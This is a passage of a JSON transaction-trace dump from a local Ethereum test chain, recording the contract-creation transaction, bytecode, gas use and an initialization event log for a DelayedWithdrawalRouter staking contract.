00000000000000000000000000000000400000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000002000000000010000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x78297cd2f6138e71564941168b94290e4ee87f69e753b05e66548c726549876b","block_number":13},{"info":{"transaction_hash":"0x3738015081d40ba03e6a0e030338a2f38282eadb22700ec871dae465fbc46873","transaction_index":1,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x68b1d87f95878fe05b998f19b66f4baba5de1aed","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x68b1d87f95878fe05b998f19b66f4baba5de1aed","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x60a060405234801561001057600080fd5b50604051611eb9380380611eb983398101604081905261002f9161019c565b6001600160a01b0381166100c55760405162461bcd60e51b815260206004820152604c60248201527f44656c617965645769746864726177616c526f757465722e636f6e737472756360448201527f746f723a205f656967656e506f644d616e616765722063616e6e6f742062652060648201526b7a65726f206164647265737360a01b608482015260a4015b60405180910390fd5b6001600160a01b0381166080526100da6100e0565b506101cc565b600054610100900460ff16156101485760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b60648201526084016100bc565b60005460ff908116101561019a576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6000602082840312156101ae57600080fd5b81516001600160a01b03811681146101c557600080fd5b9392505050565b608051611ccb6101ee600039600081816101fa0152610be00152611ccb6000f3fe60806040526004361061014b5760003560e01c806385594e58116100b6578063e4f4f8871161006f578063e4f4f887146103cc578063e5db06c014610405578063eb990c5914610425578063ecb7cb1b14610445578063f2fde38b14610472578063fabc1cbc1461049257600080fd5b806385594e5814610317578063886f1195146103445780638da5cb5b14610364578063c0db354c14610382578063ca661c0414610395578063d44e1b76146103ac57600080fd5b806350f73e7c1161010857806350f73e7c14610254578063595c6a67146102785780635ac86ab71461028d5780635c975abb146102cd578063715018a6146102e257806375608896146102f757600080fd5b806310d67a2f14610150578063136439dd146101725780631f39d87f146101925780633e1de008146101c85780634665bcda146101e85780634d50f9a414610234575b600080fd5b34801561015c57600080fd5b5061017061016b366004611948565b6104b2565b005b34801561017e57600080fd5b5061017061018d36600461196c565b61056e565b34801561019e57600080fd5b506101b26101ad366004611948565b6106ad565b6040516101bf91906119a3565b60405180910390f35b3480156101d457600080fd5b506101b26101e3366004611948565b610893565b3480156101f457600080fd5b5061021c7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016101bf565b34801561024057600080fd5b5061017061024f36600461196c565b6109ce565b34801561026057600080fd5b5061026a60c95481565b6040519081526020016101bf565b34801561028457600080fd5b506101706109df565b34801561029957600080fd5b506102bd6102a83660046119f1565b609854600160ff9092169190911b9081161490565b60405190151581526020016101bf565b3480156102d957600080fd5b5060985461026a565b3480156102ee57600080fd5b50610170610aa6565b34801561030357600080fd5b506102bd610312366004611a14565b610aba565b34801561032357600080fd5b50610337610332366004611a14565b610b3d565b6040516101bf9190611a40565b34801561035057600080fd5b5060975461021c906001600160a01b031681565b34801561037057600080fd5b506033546001600160a01b031661021c565b610170610390366004611a4e565b610bbd565b3480156103a157600080fd5b5061026a62034bc081565b3480156103b857600080fd5b506101706103c736600461196c565b610e7c565b3480156103d857600080fd5b5061026a6103e7366004611948565b6001600160a01b0316600090815260ca602052604090206001015490565b34801561041157600080fd5b50610170610420366004611a14565b610f0e565b34801561043157600080fd5b50610170610440366004611a87565b610fa1565b34801561045157600080fd5b50610465610460366004611948565b6110c9565b6040516101bf9190611acd565b34801561047e57600080fd5b5061017061048d366004611948565b611183565b34801561049e57600080fd5b506101706104ad36600461196c565b6111f9565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105299190611b25565b6001600160a01b0316336001600160a01b0316146105625760405162461bcd60e51b815260040161055990611b42565b60405180910390fd5b61056b81611355565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156105b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105da9190611b8c565b6105f65760405162461bcd60e51b815260040161055990611bae565b6098548181161461066f5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926106da8383611c0c565b90508060005b8281101561077c576001600160a01b038716600090815260ca6020526040812060010161070d8388611c1f565b8154811061071d5761071d611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061076391611c1f565b431015610773578192505061077c565b506001016106e0565b508060008167ffffffffffffffff81111561079957610799611c48565b6040519080825280602002602001820160405280156107de57816020015b60408051808201909152600080825260208201528152602001906001900390816107b75790505b50905081156108885760005b82811015610886576001600160a01b038916600090815260ca602052604090206001016108178289611c1f565b8154811061082757610827611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810191909152825183908390811061087357610873611c32565b60209081029190910101526001016107ea565b505b979650505050505050565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926108c08383611c0c565b905060008167ffffffffffffffff8111156108dd576108dd611c48565b60405190808252806020026020018201604052801561092257816020015b60408051808201909152600080825260208201528152602001906001900390816108fb5790505b50905060005b828110156109c4576001600160a01b038716600090815260ca602052604090206001016109558287611c1f565b8154811061096557610965611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff169181019190915282518390839081106109b1576109b1611c32565b6020908102919091010152600101610928565b5095945050505050565b6109d661144c565b61056b816114a6565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4b9190611b8c565b610a675760405162461bcd60e51b815260040161055990611bae565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610aae61144c565b610ab8600061156e565b565b6001600160a01b038216600090815260ca60205260408120548210801590610b34575060c9546001600160a01b038416600090815260ca60205260409020600101805484908110610b0d57610b0d611c32565b600091825260209091200154610b309190600160e01b900463ffffffff16611c1f565b4310155b90505b92915050565b60408051808201909152600080825260208201526001600160a01b038316600090815260ca60205260409020600101805483908110610b7e57610b7e611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff16918101919091529392505050565b60405163a38406a360e01b81526001600160a01b038084166004830152839133917f0000000000000000000000000000000000000000000000000000000000000000169063a38406a390602401602060405180830381865afa158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611b25565b6001600160a01b031614610cc75760405162461bcd60e51b815260206004820152603d60248201527f44656c617965645769746864726177616c526f757465722e6f6e6c794569676560448201527f6e506f643a206e6f7420706f644f776e6572277320456967656e506f640000006064820152608401610559565b609854600090600190811603610cef5760405162461bcd60e51b815260040161055990611c5e565b6001600160a01b038316610d855760405162461bcd60e51b815260206004820152605160248201527f44656c617965645769746864726177616c526f757465722e637265617465446560448201527f6c617965645769746864726177616c3a20726563697069656e742063616e6e6f60648201527074206265207a65726f206164647265737360781b608482015260a401610559565b346001600160e01b03811615610e75576040805180820182526001600160e01b03808416825263ffffffff43811660208085019182526001600160a01b038a16600081815260ca8352968720600190810180548083018255818a5293892088519551909616600160e01b029490961693909317939091019290925593525490917fb8f1b14c7caf74150801dcc9bc18d575cbeaf5b421943497e409df92c92e0f5991889188918691610e3691611c0c565b604080516001600160a01b0395861681529490931660208501526001600160e01b039091169183019190915260608201526080015b60405180910390a1505b5050505050565b600260655403610ece5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610efb5760405162461bcd60e51b815260040161055990611c5e565b610f0533836115c0565b50506001606555565b600260655403610f605760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610f8d5760405162461bcd60e51b815260040161055990611c5e565b610f9783836115c0565b5050600160655550565b600054610100900460ff1615808015610fc15750600054600160ff909116105b80610fdb5750303b158015610fdb575060005460ff166001145b61103e5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610559565b6000805460ff191660011790558015611061576000805461ff0019166101001790555b61106a8561156e565b611074848461172b565b61107d826114a6565b8015610e75576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050505050565b6040805180820190915260008152606060208201526001600160a01b038216600090815260ca6020908152604080832081518083018352815481526001820180548451818702810187019095528085529195929486810194939192919084015b8282101561117557600084815260209081902060408051808201909152908401546001600160e01b0381168252600160e01b900463ffffffff1681830152825260019092019101611129565b505050915250909392505050565b61118b61144c565b6001600160a01b0381166111f05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610559565b61056b8161156e565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561124c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112709190611b25565b6001600160a01b0316336001600160a01b0316146112a05760405162461bcd60e51b815260040161055990611b42565b60985419811960985419161461131e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016106a2565b6001600160a01b0381166113e35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610559565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b03163314610ab85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610559565b62034bc081111561152d5760405162461bcd60e51b815260206004820152604560248201527f44656c617965645769746864726177616c526f757465722e5f7365745769746860448201527f64726177616c44656c6179426c6f636b733a206e657756616c756520746f6f206064820152646c6172676560d81b608482015260a401610559565b60c95460408051918252602082018390527f4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e910160405180910390a160c955565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600090815260ca602052604081208054600190910154825b84811080156115f95750816115f78285611c1f565b105b156116a6576001600160a01b038616600090815260ca602052604081206001016116238386611c1f565b8154811061163357611633611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061167991611c1f565b43101561168657506116a6565b805161169b906001600160e01b031686611c1f565b9450506001016115e2565b6116b08184611c1f565b6001600160a01b038716600090815260ca602052604090205583156116d9576116d98685611815565b7f6b7151500bd0b5cc211bcc47b3029831b769004df4549e8e1c9a69da05bb094386856117068487611c1f565b604080516001600160a01b039094168452602084019290925290820152606001610e6b565b6097546001600160a01b031615801561174c57506001600160a01b03821615155b6117ce5760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261181182611355565b5050565b804710156118655760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610559565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146118b2576040519150601f19603f3d011682016040523d82523d6000602084013e6118b7565b606091505b505090508061192e5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610559565b505050565b6001600160a01b038116811461056b57600080fd5b60006020828403121561195a57600080fd5b813561196581611933565b9392505050565b60006020828403121561197e57600080fd5b5035919050565b80516001600160e01b0316825260209081015163ffffffff16910152565b602080825282518282018190526000918401906040840190835b818110156119e6576119d0838551611985565b60209390930192604092909201916001016119bd565b509095945050505050565b600060208284031215611a0357600080fd5b813560ff8116811461196557600080fd5b60008060408385031215611a2757600080fd5b8235611a3281611933565b946020939093013593505050565b60408101610b378284611985565b60008060408385031215611a6157600080fd5b8235611a6c81611933565b91506020830135611a7c81611933565b809150509250929050565b60008060008060808587031215611a9d57600080fd5b8435611aa881611933565b93506020850135611ab881611933565b93969395505050506040820135916060013590565b6020808252825182820152828101516040808401528051606084018190526000929190910190829060808501905b808310156109c457611b0e828551611985565b604082019150602084019350600183019250611afb565b600060208284031215611b3757600080fd5b815161196581611933565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611b9e57600080fd5b8151801515811461196557600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610b3757610b37611bf6565b80820180821115610b3757610b37611bf6565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b60208082526019908201527f5061757361626c653a20696e646578206973207061757365640000000000000060408201526060019056fea264697066735822122006da243d7e477e428ad2745c456c9ef84e039e1a55dc000ea6c524cb236906b864736f6c634300081c00330000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6","output":"0x60806040526004361061014b5760003560e01c806385594e58116100b6578063e4f4f8871161006f578063e4f4f887146103cc578063e5db06c014610405578063eb990c5914610425578063ecb7cb1b14610445578063f2fde38b14610472578063fabc1cbc1461049257600080fd5b806385594e5814610317578063886f1195146103445780638da5cb5b14610364578063c0db354c14610382578063ca661c0414610395578063d44e1b76146103ac57600080fd5b806350f73e7c1161010857806350f73e7c14610254578063595c6a67146102785780635ac86ab71461028d5780635c975abb146102cd578063715018a6146102e257806375608896146102f757600080fd5b806310d67a2f14610150578063136439dd146101725780631f39d87f146101925780633e1de008146101c85780634665bcda146101e85780634d50f9a414610234575b600080fd5b34801561015c57600080fd5b5061017061016b366004611948565b6104b2565b005b34801561017e57600080fd5b5061017061018d36600461196c565b61056e565b34801561019e57600080fd5b506101b26101ad366004611948565b6106ad565b6040516101bf91906119a3565b60405180910390f35b3480156101d457600080fd5b506101b26101e3366004611948565b610893565b3480156101f457600080fd5b5061021c7f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b6040516001600160a01b0390911681526020016101bf565b34801561024057600080fd5b5061017061024f36600461196c565b6109ce565b34801561026057600080fd5b5061026a60c95481565b6040519081526020016101bf565b34801561028457600080fd5b506101706109df565b34801561029957600080fd5b506102bd6102a83660046119f1565b609854600160ff9092169190911b9081161490565b60405190151581526020016101bf565b3480156102d957600080fd5b5060985461026a565b3480156102ee57600080fd5b50610170610aa6565b34801561030357600080fd5b506102bd610312366004611a14565b610aba565b34801561032357600080fd5b50610337610332366004611a14565b610b3d565b6040516101bf9190611a40565b34801561035057600080fd5b5060975461021c906001600160a01b031681565b34801561037057600080fd5b506033546001600160a01b031661021c565b610170610390366004611a4e565b610bbd565b3480156103a157600080fd5b5061026a62034bc081565b3480156103b857600080fd5b506101706103c736600461196c565b610e7c565b3480156103d857600080fd5b5061026a6103e7366004611948565b6001600160a01b0316600090815260ca602052604090206001015490565b34801561041157600080fd5b50610170610420366004611a14565b610f0e565b34801561043157600080fd5b50610170610440366004611a87565b610fa1565b34801561045157600080fd5b50610465610460366004611948565b6110c9565b6040516101bf9190611acd565b34801561047e57600080fd5b5061017061048d366004611948565b611183565b34801561049e57600080fd5b506101706104ad36600461196c565b6111f9565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105299190611b25565b6001600160a01b0316336001600160a01b0316146105625760405162461bcd60e51b815260040161055990611b42565b60405180910390fd5b61056b81611355565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156105b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105da9190611b8c565b6105f65760405162461bcd60e51b815260040161055990611bae565b6098548181161461066f5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926106da8383611c0c565b90508060005b8281101561077c576001600160a01b038716600090815260ca6020526040812060010161070d8388611c1f565b8154811061071d5761071d611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061076391611c1f565b431015610773578192505061077c565b506001016106e0565b508060008167ffffffffffffffff81111561079957610799611c48565b6040519080825280602002602001820160405280156107de57816020015b60408051808201909152600080825260208201528152602001906001900390816107b75790505b50905081156108885760005b82811015610886576001600160a01b038916600090815260ca602052604090206001016108178289611c1f565b8154811061082757610827611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810191909152825183908390811061087357610873611c32565b60209081029190910101526001016107ea565b505b979650505050505050565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926108c08383611c0c565b905060008167ffffffffffffffff8111156108dd576108dd611c48565b60405190808252806020026020018201604052801561092257816020015b60408051808201909152600080825260208201528152602001906001900390816108fb5790505b50905060005b828110156109c4576001600160a01b038716600090815260ca602052604090206001016109558287611c1f565b8154811061096557610965611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff169181019190915282518390839081106109b1576109b1611c32565b6020908102919091010152600101610928565b5095945050505050565b6109d661144c565b61056b816114a6565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4b9190611b8c565b610a675760405162461bcd60e51b815260040161055990611bae565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610aae61144c565b610ab8600061156e565b565b6001600160a01b038216600090815260ca60205260408120548210801590610b34575060c9546001600160a01b038416600090815260ca60205260409020600101805484908110610b0d57610b0d611c32565b600091825260209091200154610b309190600160e01b900463ffffffff16611c1f565b4310155b90505b92915050565b60408051808201909152600080825260208201526001600160a01b038316600090815260ca60205260409020600101805483908110610b7e57610b7e611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff16918101919091529392505050565b60405163a38406a360e01b81526001600160a01b038084166004830152839133917f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6169063a38406a390602401602060405180830381865afa158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611b25565b6001600160a01b031614610cc75760405162461bcd60e51b815260206004820152603d60248201527f44656c617965645769746864726177616c526f757465722e6f6e6c794569676560448201527f6e506f643a206e6f7420706f644f776e6572277320456967656e506f640000006064820152608401610559565b609854600090600190811603610cef5760405162461bcd60e51b815260040161055990611c5e565b6001600160a01b038316610d855760405162461bcd60e51b815260206004820152605160248201527f44656c617965645769746864726177616c526f757465722e637265617465446560448201527f6c617965645769746864726177616c3a20726563697069656e742063616e6e6f60648201527074206265207a65726f206164647265737360781b608482015260a401610559565b346001600160e01b03811615610e75576040805180820182526001600160e01b03808416825263ffffffff43811660208085019182526001600160a01b038a16600081815260ca8352968720600190810180548083018255818a5293892088519551909616600160e01b029490961693909317939091019290925593525490917fb8f1b14c7caf74150801dcc9bc18d575cbeaf5b421943497e409df92c92e0f5991889188918691610e3691611c0c565b604080516001600160a01b0395861681529490931660208501526001600160e01b039091169183019190915260608201526080015b60405180910390a1505b5050505050565b600260655403610ece5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610efb5760405162461bcd60e51b815260040161055990611c5e565b610f0533836115c0565b50506001606555565b600260655403610f605760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610f8d5760405162461bcd60e51b815260040161055990611c5e565b610f9783836115c0565b5050600160655550565b600054610100900460ff1615808015610fc15750600054600160ff909116105b80610fdb5750303b158015610fdb575060005460ff166001145b61103e5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610559565b6000805460ff191660011790558015611061576000805461ff0019166101001790555b61106a8561156e565b611074848461172b565b61107d826114a6565b8015610e75576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050505050565b6040805180820190915260008152606060208201526001600160a01b038216600090815260ca6020908152604080832081518083018352815481526001820180548451818702810187019095528085529195929486810194939192919084015b8282101561117557600084815260209081902060408051808201909152908401546001600160e01b0381168252600160e01b900463ffffffff1681830152825260019092019101611129565b505050915250909392505050565b61118b61144c565b6001600160a01b0381166111f05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610559565b61056b8161156e565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561124c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112709190611b25565b6001600160a01b0316336001600160a01b0316146112a05760405162461bcd60e51b815260040161055990611b42565b60985419811960985419161461131e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016106a2565b6001600160a01b0381166113e35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610559565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b03163314610ab85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610559565b62034bc081111561152d5760405162461bcd60e51b815260206004820152604560248201527f44656c617965645769746864726177616c526f757465722e5f7365745769746860448201527f64726177616c44656c6179426c6f636b733a206e657756616c756520746f6f206064820152646c6172676560d81b608482015260a401610559565b60c95460408051918252602082018390527f4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e910160405180910390a160c955565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600090815260ca602052604081208054600190910154825b84811080156115f95750816115f78285611c1f565b105b156116a6576001600160a01b038616600090815260ca602052604081206001016116238386611c1f565b8154811061163357611633611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061167991611c1f565b43101561168657506116a6565b805161169b906001600160e01b031686611c1f565b9450506001016115e2565b6116b08184611c1f565b6001600160a01b038716600090815260ca602052604090205583156116d9576116d98685611815565b7f6b7151500bd0b5cc211bcc47b3029831b769004df4549e8e1c9a69da05bb094386856117068487611c1f565b604080516001600160a01b039094168452602084019290925290820152606001610e6b565b6097546001600160a01b031615801561174c57506001600160a01b03821615155b6117ce5760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261181182611355565b5050565b804710156118655760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610559565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146118b2576040519150601f19603f3d011682016040523d82523d6000602084013e6118b7565b606091505b505090508061192e5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610559565b505050565b6001600160a01b038116811461056b57600080fd5b60006020828403121561195a57600080fd5b813561196581611933565b9392505050565b60006020828403121561197e57600080fd5b5035919050565b80516001600160e01b0316825260209081015163ffffffff16910152565b602080825282518282018190526000918401906040840190835b818110156119e6576119d0838551611985565b60209390930192604092909201916001016119bd565b509095945050505050565b600060208284031215611a0357600080fd5b813560ff8116811461196557600080fd5b60008060408385031215611a2757600080fd5b8235611a3281611933565b946020939093013593505050565b60408101610b378284611985565b60008060408385031215611a6157600080fd5b8235611a6c81611933565b91506020830135611a7c81611933565b809150509250929050565b60008060008060808587031215611a9d57600080fd5b8435611aa881611933565b93506020850135611ab881611933565b93969395505050506040820135916060013590565b6020808252825182820152828101516040808401528051606084018190526000929190910190829060808501905b808310156109c457611b0e828551611985565b604082019150602084019350600183019250611afb565b600060208284031215611b3757600080fd5b815161196581611933565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611b9e57600080fd5b8151801515811461196557600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610b3757610b37611bf6565b80820180821115610b3757610b37611bf6565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b60208082526019908201527f5061757361626c653a20696e646578206973207061757365640000000000000060408201526060019056fea264697066735822122006da243d7e477e428ad2745c456c9ef84e039e1a55dc000ea6c524cb236906b864736f6c634300081c0033","gas_used":1499498,"gas_limit":2001719,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x60806040526004361061014b5760003560e01c806385594e58116100b6578063e4f4f8871161006f578063e4f4f887146103cc578063e5db06c014610405578063eb990c5914610425578063ecb7cb1b14610445578063f2fde38b14610472578063fabc1cbc1461049257600080fd5b806385594e5814610317578063886f1195146103445780638da5cb5b14610364578063c0db354c14610382578063ca661c0414610395578063d44e1b76146103ac57600080fd5b806350f73e7c1161010857806350f73e7c14610254578063595c6a67146102785780635ac86ab71461028d5780635c975abb146102cd578063715018a6146102e257806375608896146102f757600080fd5b806310d67a2f14610150578063136439dd146101725780631f39d87f146101925780633e1de008146101c85780634665bcda146101e85780634d50f9a414610234575b600080fd5b34801561015c57600080fd5b5061017061016b366004611948565b6104b2565b005b34801561017e57600080fd5b5061017061018d36600461196c565b61056e565b34801561019e57600080fd5b506101b26101ad366004611948565b6106ad565b6040516101bf91906119a3565b60405180910390f35b3480156101d457600080fd5b506101b26101e3366004611948565b610893565b3480156101f457600080fd5b5061021c7f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b6040516001600160a01b0390911681526020016101bf565b34801561024057600080fd5b5061017061024f36600461196c565b6109ce565b34801561026057600080fd5b5061026a60c95481565b6040519081526020016101bf565b34801561028457600080fd5b506101706109df565b34801561029957600080fd5b506102bd6102a83660046119f1565b609854600160ff9092169190911b9081161490565b60405190151581526020016101bf565b3480156102d957600080fd5b5060985461026a565b3480156102ee57600080fd5b50610170610aa6565b34801561030357600080fd5b506102bd610312366004611a14565b610aba565b34801561032357600080fd5b50610337610332366004611a14565b610b3d565b60405